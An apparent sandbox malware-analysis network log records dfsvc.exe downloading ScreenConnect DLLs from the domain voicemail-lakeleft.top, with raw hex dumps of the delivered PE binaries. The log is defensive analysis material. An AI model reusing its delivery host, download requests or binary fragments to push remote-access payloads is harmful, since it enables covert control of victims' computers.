GX0iG0qM{;ri\rutYP76V6V6VpRdc{mrq2yb,rX&wrez}]6Vlr*c}tyY
2024-11-08 10:09:35 UTC	16384	IN	Data Raw: b2 00 00 00 00 c4 01 1e 2a ce 2b e8 03 8c b2 00 00 00 00 94 00 7b 3e d8 2b e9 03 00 00 00 00 00 00 c4 05 42 64 e2 2b ea 03 2f b3 00 00 00 00 81 00 bc 71 e2 2b eb 03 50 b3 00 00 00 00 c4 00 58 10 d1 21 ec 03 a0 b9 00 00 00 00 81 00 81 2a e9 2b ed 03 08 ba 00 00 00 00 91 00 00 0f f8 2b f0 03 a0 ba 00 00 00 00 81 00 6a 09 08 2c f4 03 c0 ba 00 00 00 00 91 18 97 66 aa 20 f5 03 cc ba 00 00 00 00 86 18 91 66 01 00 f5 03 d4 ba 00 00 00 00 83 00 87 01 0f 2c f5 03 f3 ba 00 00 00 00 91 18 97 66 aa 20 f6 03 ff ba 00 00 00 00 86 18 91 66 01 00 f6 03 07 bb 00 00 00 00 83 00 3a 00 20 2c f6 03 0f bb 00 00 00 00 83 00 74 03 27 2c f7 03 17 bb 00 00 00 00 83 00 a3 01 78 29 f8 03 2a bb 00 00 00 00 86 18 91 66 01 00 f9 03 32 bb 00 00 00 00 83 00 b9 02 76 07 f9 03 56 bb 00 00 Data Ascii: +{>+Bd+/q+PX!++j,f f,f f: ,t',x)*f2vV
2024-11-08 10:09:35 UTC	16384	IN	Data Raw: 1c 41 13 6b 00 a0 1c 60 13 6b 00 a0 1c 61 13 1a 00 db 2e 61 13 6b 00 a0 1c 80 13 6b 00 a0 1c a3 13 6b 00 a0 1c c3 13 6b 00 a0 1c e1 13 6b 00 a0 1c e3 13 6b 00 a0 1c 01 14 6b 00 a0 1c 03 14 6b 00 a0 1c 21 14 6b 00 a0 1c 41 14 6b 00 a0 1c 60 14 6b 00 a0 1c 61 14 6b 00 a0 1c 63 14 6b 00 a0 1c 81 14 6b 00 a0 1c 83 14 6b 00 a0 1c a0 14 6b 00 a0 1c a1 14 6b 00 a0 1c c1 14 6b 00 a0 1c c3 14 6b 00 a0 1c e1 14 6b 00 a0 1c e3 14 6b 00 a0 1c 01 15 6b 00 a0 1c 03 15 6b 00 a0 1c 21 15 6b 00 a0 1c 23 15 6b 00 a0 1c 41 15 1a 00 5c 2f 41 15 6b 00 a0 1c 44 15 c2 05 a0 1c 61 15 6b 00 a0 1c 63 15 6b 00 a0 1c 80 15 6b 00 a0 1c 81 15 6b 00 a0 1c 83 15 6b 00 a0 1c a0 15 6b 00 a0 1c a1 15 1a 00 db 2e a1 15 6b 00 a0 1c a3 15 6b 00 a0 1c c0 15 6b 00 a0 1c c1 15 6b 00 a0 1c c3 15 Data Ascii: Ak`ka.akkkkkkkk!kAk`kakckkkkkkkkkkk!k#kA\/AkDakckkkkk.kkkk
2024-11-08 10:09:35 UTC	16384	IN	Data Raw: 52 65 71 75 65 73 74 49 44 00 3c 3e 4f 00 53 79 73 74 65 6d 2e 49 4f 00 3c 73 74 72 65 61 6d 49 44 3e 50 00 43 61 6c 63 75 6c 61 74 65 46 50 53 00 54 00 67 65 74 5f 58 00 74 69 6c 65 58 00 67 65 74 5f 59 00 74 69 6c 65 59 00 76 61 6c 75 65 5f 5f 00 55 6e 69 6f 6e 55 6e 6c 65 73 73 4e 6f 41 72 65 61 00 67 65 74 5f 44 61 74 61 00 73 65 74 5f 44 61 74 61 00 73 6f 75 6e 64 44 61 74 61 00 57 72 69 74 65 4d 65 73 73 61 67 65 44 61 74 61 00 67 65 74 5f 46 72 61 6d 65 44 61 74 61 00 73 65 74 5f 46 72 61 6d 65 44 61 74 61 00 53 69 67 6e 44 61 74 61 00 67 65 74 5f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 44 61 74 61 00 73 65 74 5f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 44 61 74 61 00 49 42 69 74 6d 61 70 44 61 74 61 00 62 69 74 6d 61 70 44 61 74 61 00 64 61 74 Data Ascii: RequestID<>OSystem.IO<streamID>PCalculateFPSTget_XtileXget_YtileYvalue__UnionUnlessNoAreaget_Dataset_DatasoundDataWriteMessageDataget_FrameDataset_FrameDataSignDataget_AuthenticationDataset_AuthenticationDataIBitmapDatabitmapDatadat
2024-11-08 10:09:35 UTC	16384	IN	Data Raw: 6b 4d 6f 6e 69 74 6f 72 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6d 6d 61 6e 64 4f 70 65 6e 4d 6f 6e 69 74 6f 72 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6e 74 72 6f 6c 50 61 6e 65 6c 4d 65 73 73 61 67 65 73 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6d 6d 61 6e 64 53 65 6e 64 43 6c 69 70 62 6f 61 72 64 4b 65 79 73 74 72 6f 6b 65 73 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6d 6d 61 6e 64 53 65 6e 64 46 69 6c 65 73 2e 70 6e 67 00 53 63 72 65 65 6e 43 6f 6e 6e 65 63 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 43 6f 6d 6d 61 6e 64 52 65 63 65 69 76 Data Ascii: kMonitor.pngScreenConnect.Properties.CommandOpenMonitor.pngScreenConnect.Properties.ControlPanelMessages.pngScreenConnect.Properties.CommandSendClipboardKeystrokes.pngScreenConnect.Properties.CommandSendFiles.pngScreenConnect.Properties.CommandReceiv
2024-11-08 10:09:35 UTC	16384	IN	Data Raw: 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 3b 53 00 65 00 6c 00 65 00 63 00 74 00 53 00 6f 00 75 00 6e 00 64 00 43 00 61 00 70 00 74 00 75 00 72 00 65 00 4d 00 6f 00 64 00 65 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 27 53 00 6f 00 75 00 6e 00 64 00 43 00 61 00 70 00 74 00 75 00 72 00 65 00 4d 00 6f 00 64 00 65 00 20 00 3d 00 20 00 00 2b 53 00 65 00 6c 00 65 00 63 00 74 00 53 00 70 00 65 00 61 00 6b 00 65 00 72 00 73 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 27 4d 00 75 00 74 00 65 00 53 00 70 00 65 00 61 00 6b 00 65 00 72 00 73 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 31 53 00 65 00 74 00 53 00 70 00 65 00 61 00 6b 00 65 00 72 00 73 00 56 00 6f 00 6c 00 75 00 6d 00 65 00 43 00 6f 00 6d 00 6d 00 61 00 6e 00 64 00 00 13 56 00 6f 00 6c 00 Data Ascii: ommand;SelectSoundCaptureModeCommand'SoundCaptureMode = +SelectSpeakersCommand'MuteSpeakersCommand1SetSpeakersVolumeCommandVol
2024-11-08 10:09:35 UTC	16384	IN	Data Raw: 72 74 4d 69 6c 6c 69 73 65 63 6f 6e 64 43 6f 75 6e 74 13 57 61 73 4e 65 74 77 6f 72 6b 52 65 61 63 68 61 62 6c 65 13 57 61 73 48 61 6e 64 73 68 61 6b 65 53 74 61 72 74 65 64 15 57 61 73 48 61 6e 64 73 68 61 6b 65 43 6f 6d 70 6c 65 74 65 64 00 00 21 01 00 02 00 00 00 10 4d 65 74 72 69 63 73 45 6e 74 72 79 54 79 70 65 07 4d 69 6e 69 6d 75 6d 00 00 26 01 00 84 6b 00 00 02 00 54 02 0d 41 6c 6c 6f 77 4d 75 6c 74 69 70 6c 65 00 54 02 09 49 6e 68 65 72 69 74 65 64 00 26 01 00 4c 14 00 00 02 00 54 02 0d 41 6c 6c 6f 77 4d 75 6c 74 69 70 6c 65 00 54 02 09 49 6e 68 65 72 69 74 65 64 00 26 01 00 02 00 00 00 02 00 54 02 0d 41 6c 6c 6f 77 4d 75 6c 74 69 70 6c 65 00 54 02 09 49 6e 68 65 72 69 74 65 64 00 06 01 00 e4 00 00 00 06 01 00 48 00 00 00 06 01 00 49 00 00 00 06 Data Ascii: rtMillisecondCountWasNetworkReachableWasHandshakeStartedWasHandshakeCompleted!MetricsEntryTypeMinimum&kTAllowMultipleTInherited&LTAllowMultipleTInherited&TAllowMultipleTInheritedHI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49790	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:36 UTC	106	OUT	GET /Bin/ScreenConnect.ClientService.dll HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:09:37 UTC	216	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 68096 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:36 GMT Connection: close
2024-11-08 10:09:37 UTC	16168	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 30 d8 54 90 00 00 00 00 00 00 00 00 e0 00 22 20 0b 01 30 00 00 02 01 00 00 06 00 00 00 00 00 00 ba 20 01 00 00 20 00 00 00 40 01 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 01 00 00 02 00 00 64 fa 01 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL0T" 0 @ d@
2024-11-08 10:09:37 UTC	16384	IN	Data Raw: 00 00 0a 07 6f 11 00 00 0a 2d d0 de 0a 07 2c 06 07 6f 10 00 00 0a dc 06 7b 54 00 00 04 6f 24 02 00 0a 13 04 2b 5a 11 04 6f 25 02 00 0a 13 05 02 7b 53 00 00 04 7b 0d 00 00 04 11 05 73 26 02 00 0a 25 02 7b 52 00 00 04 28 f8 00 00 0a 7e 30 00 00 04 25 2d 17 26 7e 2b 00 00 04 fe 06 6d 00 00 06 73 06 02 00 0a 25 80 30 00 00 04 28 5f 00 00 2b 6f 27 02 00 0a 73 81 00 00 0a 6f 82 00 00 0a 11 04 6f 11 00 00 0a 2d 9d de 0c 11 04 2c 07 11 04 6f 10 00 00 0a dc 2a 01 1c 00 00 02 00 65 00 34 99 00 0a 00 00 00 00 02 00 b0 00 67 17 01 0c 00 00 00 00 1e 02 28 1d 00 00 0a 2a 56 02 7b 54 00 00 04 03 6f 23 02 00 0a 6f 28 02 00 0a 16 fe 01 2a 1e 02 28 1d 00 00 0a 2a 4a 02 7b 56 00 00 04 6f 29 02 00 0a 03 28 2a 02 00 0a 2a 1e 02 28 1d 00 00 0a 2a 00 00 00 13 30 03 00 43 00 00 Data Ascii: o-,o{To$+Zo%{S{s&%{R(~0%-&~+ms%0(_+o'soo-,oe4g(V{To#o((J{Vo)(*(0C
2024-11-08 10:09:37 UTC	16384	IN	Data Raw: 27 15 19 04 ae 2d 2d 15 19 04 cd 2e 37 15 b1 04 3c 27 3e 15 31 04 cb 31 78 09 29 04 e0 42 f6 00 e9 04 fe 42 56 15 f4 00 9b 18 81 02 31 04 a5 32 5c 15 f4 03 71 3a a1 00 fc 03 71 3a a1 00 19 04 ca 2d 85 15 11 03 71 3a 6a 04 09 03 5e 30 9e 15 d9 07 e5 35 a7 15 09 03 42 2c ad 15 e1 07 6b 29 06 00 19 03 5d 31 20 02 31 04 83 2d bd 15 29 04 84 31 6a 04 19 03 80 25 20 02 29 04 ad 25 6a 04 19 03 99 1b 20 02 29 04 c6 1b 6a 04 e1 07 61 29 06 00 21 03 f7 2e 20 02 d1 00 ea 49 c5 15 29 04 04 2f 6a 04 a9 04 31 3d b2 11 8c 03 8d 08 5a 04 e9 04 b2 49 bd 0a 04 04 f8 3e 46 00 8c 03 52 0b 5e 04 e9 04 cd 42 d8 15 31 04 e2 34 e0 15 29 04 e0 46 14 01 d1 01 9a 42 ef 15 5c 02 de 2c 63 00 09 02 e1 2e 14 01 69 02 c8 41 00 16 69 02 c3 17 14 01 29 05 7a 2d f6 00 59 03 d0 2d 06 16 a4 Data Ascii: '--.7<'>11x)BBV12\q:q:-q:j^05B,k)]1 1-)1j% )%j )ja)!. I)/j1=ZI>FR^B14)FB\,c.iAi)z-Y-
2024-11-08 10:09:37 UTC	16384	IN	Data Raw: 69 74 79 41 63 74 69 6f 6e 00 53 79 73 74 65 6d 2e 52 65 66 6c 65 63 74 69 6f 6e 00 53 65 74 74 69 6e 67 73 50 72 6f 70 65 72 74 79 56 61 6c 75 65 43 6f 6c 6c 65 63 74 69 6f 6e 00 47 72 6f 75 70 43 6f 6c 6c 65 63 74 69 6f 6e 00 57 61 69 74 69 6e 67 46 6f 72 43 6f 6e 6e 65 63 74 69 6f 6e 00 57 69 6e 33 32 45 78 63 65 70 74 69 6f 6e 00 43 72 79 70 74 6f 67 72 61 70 68 69 63 45 78 63 65 70 74 69 6f 6e 00 4e 6f 74 53 75 70 70 6f 72 74 65 64 45 78 63 65 70 74 69 6f 6e 00 54 72 61 63 65 45 78 63 65 70 74 69 6f 6e 00 45 6e 64 4f 66 53 74 72 65 61 6d 45 78 63 65 70 74 69 6f 6e 00 52 75 6e 57 69 74 68 43 72 61 73 68 4f 6e 45 78 63 65 70 74 69 6f 6e 00 54 72 79 53 75 62 73 63 72 69 62 65 54 6f 4c 6f 67 41 70 70 44 6f 6d 61 69 6e 45 78 63 65 70 74 69 6f 6e 00 49 6e Data Ascii: ityActionSystem.ReflectionSettingsPropertyValueCollectionGroupCollectionWaitingForConnectionWin32ExceptionCryptographicExceptionNotSupportedExceptionTraceExceptionEndOfStreamExceptionRunWithCrashOnExceptionTrySubscribeToLogAppDomainExceptionIn
2024-11-08 10:09:37 UTC	2776	IN	Data Raw: 00 08 01 00 00 08 00 00 00 00 05 01 00 01 00 00 05 01 00 02 00 00 0a 01 00 02 00 00 00 00 01 00 00 20 01 00 03 00 00 00 09 53 65 73 73 69 6f 6e 49 44 04 4e 61 6d 65 08 55 73 65 72 4e 61 6d 65 00 00 0d 01 00 05 00 00 00 00 00 00 00 01 00 00 2d 01 00 02 00 00 00 1c 43 72 65 64 65 6e 74 69 61 6c 50 72 6f 76 69 64 65 72 49 6e 73 74 61 6e 63 65 49 44 07 4d 65 73 73 61 67 65 00 00 0b 01 00 03 00 00 00 00 01 01 00 00 33 01 00 03 00 00 00 0e 45 78 65 63 75 74 61 62 6c 65 50 61 74 68 0b 43 6f 6d 6d 61 6e 64 4c 69 6e 65 0f 50 61 72 65 6e 74 50 72 6f 63 65 73 73 49 44 00 00 52 01 00 05 00 00 00 0e 45 78 65 63 75 74 61 62 6c 65 50 61 74 68 0b 43 6f 6d 6d 61 6e 64 4c 69 6e 65 0f 50 61 72 65 6e 74 50 72 6f 63 65 73 73 49 44 0e 45 78 65 63 75 74 61 62 6c 65 50 61 74 68 Data Ascii: SessionIDNameUserName-CredentialProviderInstanceIDMessage3ExecutablePathCommandLineParentProcessIDRExecutablePathCommandLineParentProcessIDExecutablePath

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49798	194.59.30.201	443	2628	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 10:09:38 UTC	100	OUT	GET /Bin/ScreenConnect.Windows.dll HTTP/1.1 Host: voicemail-lakeleft.top Accept-Encoding: gzip
2024-11-08 10:09:38 UTC	218	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 1721856 Content-Type: text/html Server: ScreenConnect/24.2.10.8991-2537422459 Microsoft-HTTPAPI/2.0 Date: Fri, 08 Nov 2024 10:09:38 GMT Connection: close
2024-11-08 10:09:38 UTC	16166	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 6c da d0 ab 00 00 00 00 00 00 00 00 e0 00 22 20 0b 01 30 00 00 3e 1a 00 00 06 00 00 00 00 00 00 82 5d 1a 00 00 20 00 00 00 60 1a 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 1a 00 00 02 00 00 5b ab 1a 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELl" 0>] ` [@
2024-11-08 10:09:38 UTC	16384	IN	Data Raw: 00 00 0a 14 04 05 16 28 ba 00 00 06 13 06 de 11 09 28 01 02 00 0a dc 06 2c 06 06 6f 11 00 00 0a dc 11 06 2a 00 00 01 34 00 00 02 00 99 00 0a a3 00 0c 00 00 00 00 02 00 81 00 2e af 00 0c 00 00 00 00 02 00 73 00 87 fa 00 07 00 00 00 00 02 00 06 00 fb 01 01 0a 00 00 00 00 13 30 02 00 1f 00 00 00 2a 00 00 11 1f 28 7e 5e 00 00 0a 28 e0 00 00 06 72 71 06 00 70 28 02 02 00 0a 0a 02 06 28 bd 00 00 06 2a 00 13 30 05 00 47 00 00 00 00 00 00 00 03 25 2d 06 26 28 be 00 00 06 18 8d d9 00 00 01 25 16 72 9d 06 00 70 a2 25 17 72 b9 06 00 70 a2 28 03 02 00 0a 7e a7 00 00 04 25 2d 13 26 14 fe 06 04 02 00 0a 73 05 02 00 0a 25 80 a7 00 00 04 02 28 32 00 00 2b 2a 00 1b 30 04 00 90 00 00 00 3a 00 00 11 28 0d 01 00 06 1f 0a 16 20 7c 4f 00 00 73 07 02 00 0a 28 6e 01 00 0a 2c 35 Data Ascii: ((,o4.s0(~^(rqp((0G%-&(%rp%rp(~%-&s%(2+0:( \|Os(n,5
2024-11-08 10:09:38 UTC	16384	IN	Data Raw: fc 00 00 04 7d f8 00 00 04 02 17 7d f7 00 00 04 17 2a 02 15 7d f7 00 00 04 02 02 7b fc 00 00 04 18 28 aa 01 00 06 7d fc 00 00 04 02 7b fc 00 00 04 16 d3 28 84 00 00 0a 2d c3 16 2a 1e 02 7b f8 00 00 04 2a 1a 73 7b 01 00 0a 7a 32 02 7b f8 00 00 04 8c ce 00 00 01 2a 00 00 13 30 02 00 3c 00 00 00 88 00 00 11 02 7b f7 00 00 04 1f fe 33 1d 02 7b f9 00 00 04 28 4e 03 00 0a 6f 4f 03 00 0a 33 0b 02 16 7d f7 00 00 04 02 0a 2b 07 16 73 4d 03 00 06 0a 06 02 7b fb 00 00 04 7d fa 00 00 04 06 2a 1e 02 28 53 03 00 06 2a 7a 02 28 2c 00 00 0a 02 03 7d fd 00 00 04 02 28 4e 03 00 0a 6f 4f 03 00 0a 7d ff 00 00 04 2a 06 2a 00 00 00 13 30 05 00 d5 00 00 00 89 00 00 11 02 7b fd 00 00 04 0a 06 2c 09 06 17 3b 8d 00 00 00 16 2a 02 15 7d fd 00 00 04 1f 09 0b 02 17 07 25 17 58 0b 1f Data Ascii: }}}{(}{(-{s{z2{0<{3{(NoO3}+sM{}(Sz(,}(NoO}*0{,;}%X
2024-11-08 10:09:38 UTC	16384	IN	Data Raw: 6e 22 06 00 71 cc 6e 22 06 00 48 cf 6e 22 06 00 5e 3e 6e 22 06 00 9f a3 6e 22 06 00 c4 b2 a0 02 06 00 36 b2 6e 22 06 00 49 a7 a0 02 06 00 41 a7 6e 22 06 00 81 cc 6e 22 06 00 af 54 6e 22 06 00 ba 90 6e 22 06 00 9f a3 6e 22 06 00 7c aa 6e 22 06 00 f7 cf 71 22 06 00 ce 45 71 22 06 00 66 46 6e 22 06 00 07 59 6e 22 06 00 b6 bf 6e 22 06 00 31 6a 6e 22 06 00 8f 9f 6e 22 06 00 e8 60 6e 22 06 00 48 cf 6e 22 06 00 f4 5f 6e 22 06 00 04 52 25 25 06 00 e3 be 6e 22 06 00 5b be 6e 22 06 10 55 51 f7 25 06 06 80 30 af 08 56 80 80 c8 fb 25 56 80 69 c8 fb 25 06 06 80 30 af 08 56 80 35 9d 00 26 06 06 80 30 af 08 56 80 62 27 05 26 56 80 90 29 05 26 56 80 e3 0d 05 26 56 80 86 29 05 26 06 06 80 30 6e 22 56 80 2c 39 0a 26 56 80 97 c8 0a 26 56 80 5f 39 0a 26 56 80 60 bd 0a 26 56 Data Ascii: n"qn"Hn"^>n"n"6n"IAn"n"Tn"n"n"\|n"q"Eq"fFn"Yn"n"1jn"n"`n"Hn"_n"R%%n"[n"UQ%0V%Vi%0V5&0Vb'&V)&V&V)&0n"V,9&V&V_9&V`&V
2024-11-08 10:09:38 UTC	16384	IN	Data Raw: c6 00 5e 53 10 00 0f 07 5e a5 00 00 00 00 91 18 18 99 0e 27 10 07 6a a5 00 00 00 00 86 18 ed 98 01 00 10 07 72 a5 00 00 00 00 83 00 d7 02 29 3b 10 07 7a a5 00 00 00 00 83 00 81 0a 30 3b 12 07 82 a5 00 00 00 00 86 18 ed 98 01 00 13 07 8a a5 00 00 00 00 83 00 d6 07 1b 3b 13 07 9d a5 00 00 00 00 91 18 18 99 0e 27 14 07 a9 a5 00 00 00 00 86 18 ed 98 01 00 14 07 b1 a5 00 00 00 00 83 00 ab 02 39 3b 14 07 b9 a5 00 00 00 00 83 00 55 0a 39 3b 15 07 c1 a5 00 00 00 00 86 18 ed 98 05 00 16 07 e0 a5 00 00 00 00 e1 01 ac 58 01 00 17 07 18 a6 00 00 00 00 e1 01 37 c2 3d 00 17 07 e4 a7 00 00 00 00 81 00 d5 0d 01 00 17 07 00 a8 00 00 00 00 e1 09 d0 bb e0 18 17 07 08 a8 00 00 00 00 e1 01 13 b6 01 00 17 07 0f a8 00 00 00 00 e1 09 96 bc 4e 00 17 07 18 a8 00 00 00 00 e1 01 bd Data Ascii: ^S^'jr);z0;;'9;U9;X7=N
2024-11-08 10:09:38 UTC	16384	IN	Data Raw: 5b 34 45 10 a9 06 0b 5f 39 02 3c 04 8d 4a a0 02 91 04 5f 46 01 00 89 06 8d 58 39 02 d1 03 86 c7 01 00 69 04 a6 58 01 00 71 09 dc 37 b1 1a 71 09 1c 36 89 01 59 06 ab cc e9 1a e1 02 ed 98 f8 1a e1 02 ed 98 07 1b 41 06 ed 98 10 00 b9 08 ae 9e 16 1b 19 0a 85 3e 1d 1b 29 02 96 4c 7c 04 31 02 ed 98 01 00 99 04 68 53 f5 09 c1 09 21 5b 10 00 39 02 96 4c 7c 04 39 02 35 70 89 01 99 02 e2 6a 7c 04 99 02 28 59 3b 1b b1 07 1b 6b 3d 0b 4c 04 a8 98 5b 00 54 04 b5 bc 49 00 44 02 ab 0d d9 00 08 00 14 00 25 1c 08 00 18 00 2a 1c 08 00 1c 00 2f 1c 08 00 20 00 34 1c 08 00 b8 00 39 1c 0e 00 bc 00 3e 1c 0e 00 c0 00 51 1c 0e 00 c4 00 62 1c 08 00 c8 00 75 1c 08 00 cc 00 7a 1c 0e 00 d0 00 7f 1c 0e 00 d4 00 8e 1c 0e 00 d8 00 9d 1c 0e 00 e0 00 c6 1c 08 00 f0 00 64 1d 08 00 f4 00 69 Data Ascii: [4E_9<J_FX9iXq7q6YA>)L\|1hS![9L\|95pj\|(Y;k=L[TID%*/ 49>Qbuzdi
2024-11-08 10:09:38 UTC	16384	IN	Data Raw: 3e 39 5f 5f 31 33 35 5f 31 00 3c 47 65 74 46 75 6c 6c 45 78 65 63 75 74 61 62 6c 65 50 61 74 68 3e 62 5f 5f 31 33 35 5f 31 00 3c 3e 63 5f 5f 44 69 73 70 6c 61 79 43 6c 61 73 73 34 37 5f 31 00 3c 43 6f 6e 6e 65 63 74 53 65 72 76 65 72 43 6c 69 65 6e 74 4e 61 6d 65 64 50 69 70 65 73 3e 67 5f 5f 57 61 69 74 41 6e 64 43 6f 6e 6e 65 63 74 4e 61 6d 65 64 50 69 70 65 7c 39 37 5f 31 00 3c 50 6f 70 75 6c 61 74 65 43 6f 6e 74 65 78 74 4d 65 6e 75 53 74 72 69 70 49 74 65 6d 73 3e 62 5f 5f 37 5f 31 00 3c 3e 39 5f 5f 38 5f 31 00 3c 50 6f 70 75 6c 61 74 65 43 6f 6e 74 65 78 74 4d 65 6e 75 53 74 72 69 70 49 74 65 6d 73 3e 62 5f 5f 38 5f 31 00 3c 3e 39 5f 5f 32 39 5f 31 00 3c 54 72 79 47 65 74 41 63 74 69 76 65 43 6f 6e 73 6f 6c 65 53 65 73 73 69 6f 6e 49 44 3e 62 5f 5f Data Ascii: >9__135_1<GetFullExecutablePath>b__135_1<>c__DisplayClass47_1<ConnectServerClientNamedPipes>g__WaitAndConnectNamedPipe\|97_1<PopulateContextMenuStripItems>b__7_1<>9__8_1<PopulateContextMenuStripItems>b__8_1<>9__29_1<TryGetActiveConsoleSessionID>b__
2024-11-08 10:09:38 UTC	16384	IN	Data Raw: 62 61 73 65 4b 65 79 48 61 6e 64 6c 65 00 6c 69 62 72 61 72 79 48 61 6e 64 6c 65 00 72 65 73 75 6d 65 5f 68 61 6e 64 6c 65 00 54 6f 52 65 63 74 61 6e 67 6c 65 00 47 65 74 43 6c 69 65 6e 74 52 65 63 74 61 6e 67 6c 65 00 47 65 74 57 69 6e 64 6f 77 52 65 63 74 61 6e 67 6c 65 00 72 65 63 74 61 6e 67 6c 65 00 70 44 61 74 61 46 69 6c 65 00 75 6c 6c 54 6f 74 61 6c 50 61 67 65 46 69 6c 65 00 75 6c 6c 41 76 61 69 6c 50 61 67 65 46 69 6c 65 00 43 72 65 61 74 65 46 69 6c 65 00 68 54 65 6d 70 6c 61 74 65 46 69 6c 65 00 44 65 6c 65 74 65 46 69 6c 65 00 4d 6f 76 65 46 69 6c 65 00 70 43 6f 6e 66 69 67 46 69 6c 65 00 54 72 79 55 6e 62 6c 6f 63 6b 46 69 6c 65 00 4c 6f 61 64 52 65 73 6f 75 72 63 65 50 61 63 6b 46 72 6f 6d 46 69 6c 65 00 4d 61 70 46 69 6c 65 00 70 48 65 6c Data Ascii: baseKeyHandlelibraryHandleresume_handleToRectangleGetClientRectangleGetWindowRectanglerectanglepDataFileullTotalPageFileullAvailPageFileCreateFilehTemplateFileDeleteFileMoveFilepConfigFileTryUnblockFileLoadResourcePackFromFileMapFilepHel
2024-11-08 10:09:38 UTC	16384	IN	Data Raw: 70 00 3c 39 3e 5f 5f 43 6c 6f 73 65 44 65 73 6b 74 6f 70 00 43 72 65 61 74 65 44 65 73 6b 74 6f 70 00 53 77 69 74 63 68 44 65 73 6b 74 6f 70 00 4f 70 65 6e 44 65 73 6b 74 6f 70 00 6c 70 44 65 73 6b 74 6f 70 00 54 72 79 45 6e 73 75 72 65 54 68 72 65 61 64 4f 6e 49 6e 70 75 74 44 65 73 6b 74 6f 70 00 4f 70 65 6e 49 6e 70 75 74 44 65 73 6b 74 6f 70 00 6c 70 73 7a 44 65 73 6b 74 6f 70 00 64 65 73 6b 74 6f 70 00 65 5f 73 70 00 55 72 69 53 63 68 65 6d 65 48 74 74 70 00 4e 61 74 69 76 65 43 6c 65 61 6e 75 70 00 6c 70 4c 6f 61 64 4f 72 64 65 72 47 72 6f 75 70 00 47 65 74 4c 61 73 74 41 63 74 69 76 65 50 6f 70 75 70 00 41 70 70 44 6f 6d 61 69 6e 53 65 74 75 70 00 70 73 7a 56 65 6e 64 6f 72 53 65 74 75 70 00 66 43 6f 6e 74 65 78 74 52 65 71 00 53 79 73 74 65 6d 2e Data Ascii: p<9>__CloseDesktopCreateDesktopSwitchDesktopOpenDesktoplpDesktopTryEnsureThreadOnInputDesktopOpenInputDesktoplpszDesktopdesktope_spUriSchemeHttpNativeCleanuplpLoadOrderGroupGetLastActivePopupAppDomainSetuppszVendorSetupfContextReqSystem.
